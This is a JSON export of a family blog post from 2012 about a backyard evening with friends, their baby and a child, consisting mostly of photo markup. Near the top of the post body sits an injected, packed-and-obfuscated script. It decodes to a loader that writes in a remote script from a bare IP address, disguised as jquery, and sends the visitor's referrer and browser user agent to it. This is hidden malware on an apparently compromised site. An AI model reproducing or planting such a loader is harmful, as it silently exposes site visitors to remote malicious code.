{"id":2888,"date":"2012-05-01T10:22:44","date_gmt":"2012-05-01T17:22:44","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2888"},"modified":"2013-04-26T14:59:42","modified_gmt":"2013-04-26T21:59:42","slug":"porch-life-the-backyard-version","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2888","title":{"rendered":"&#8220;Porch Life,&#8221; the Backyard version"},"content":{"rendered":"<h4><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/21.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2916 alignright\" title=\"21\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/21-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/21-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/21.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdkae|var|u0026u|referrer|fszkt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Before they became parents, Ken and Karen used to host casual get-togethers they called &#8220;porch life.&#8221;\u00c2\u00a0 We would all gather on summer evenings on their front porch, with guitars, hot dogs on the grill, and adult beverages, and we&#8217;d stay up way too late.\u00c2\u00a0 Now that there are little kids, our evenings start a little earlier and end a little earlier, but there are still hot dogs, adult beverages, and guitars.\u00c2\u00a0 Plus diapers, bottles, toy trains, and running around barefoot in the grass.\u00c2\u00a0 They came over Sunday evening for dinner and playtime!<\/h4>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/1.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Ken and Nova\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/1-229x300.jpg\" width=\"229\" height=\"300\" \/><\/a>\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/241.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Karen and Nova\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/241-269x300.jpg\" width=\"269\" height=\"300\" \/><\/a><\/p>\n<p>Ken, and Karen, with baby Nova in my backyard.\u00c2\u00a0 Paul was taking the pictures (and grilling the hot dogs!)\u00c2\u00a0 :)<\/p>\n<p>Here&#8217;s me, evidently throwing Xak into the bushes&#8230;.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/10.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2908\" title=\"Xak-toss\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/10-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/10-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/10.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>And with Nova, who seems skeptical (until she falls asleep):<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/221.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2917\" title=\"22\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/221-300x239.jpg\" width=\"300\" height=\"239\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/221-300x239.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/221.jpg 898w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/231.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2918\" title=\"23\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/231-300x267.jpg\" width=\"300\" height=\"267\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/231-300x267.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/231.jpg 790w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.48.47-PM.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-archive-thumbnail wp-image-3822\" alt=\"Screen Shot 2013-04-23 at 5.48.47 PM\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.48.47-PM-220x150.png\" width=\"220\" height=\"150\" \/><\/a>\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.49.10-PM.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-archive-thumbnail wp-image-3823\" alt=\"Screen Shot 2013-04-23 at 5.49.10 PM\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.49.10-PM-220x150.png\" width=\"220\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.50.29-PM.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-3824\" alt=\"Screen Shot 2013-04-23 at 5.50.29 PM\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/Screen-Shot-2013-04-23-at-5.50.29-PM-150x150.png\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Chasing Xak around the yard&#8230;<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/7.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2895\" title=\"7\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/7-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/7-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/7.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/6.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2894\" title=\"6\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/6-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/6-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/6.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/9.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"9\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/9-300x225.jpg\" width=\"300\" height=\"225\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/25.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2907\" title=\"25\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/25-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/25-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/25.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/201.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2915\" title=\"20\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/201-300x135.jpg\" width=\"300\" height=\"135\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/201-300x135.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/201.jpg 1023w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/17.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2913\" title=\"17\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/17-235x300.jpg\" width=\"235\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/17-235x300.jpg 235w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/17.jpg 425w\" sizes=\"(max-width: 235px) 100vw, 235px\" \/><\/a><\/p>\n<p>A boy and a stick!\u00c2\u00a0 Recipe for a great day&#8230;<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/161.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2912\" title=\"16\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/161-300x257.jpg\" width=\"300\" height=\"257\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/161-300x257.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/161.jpg 803w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a 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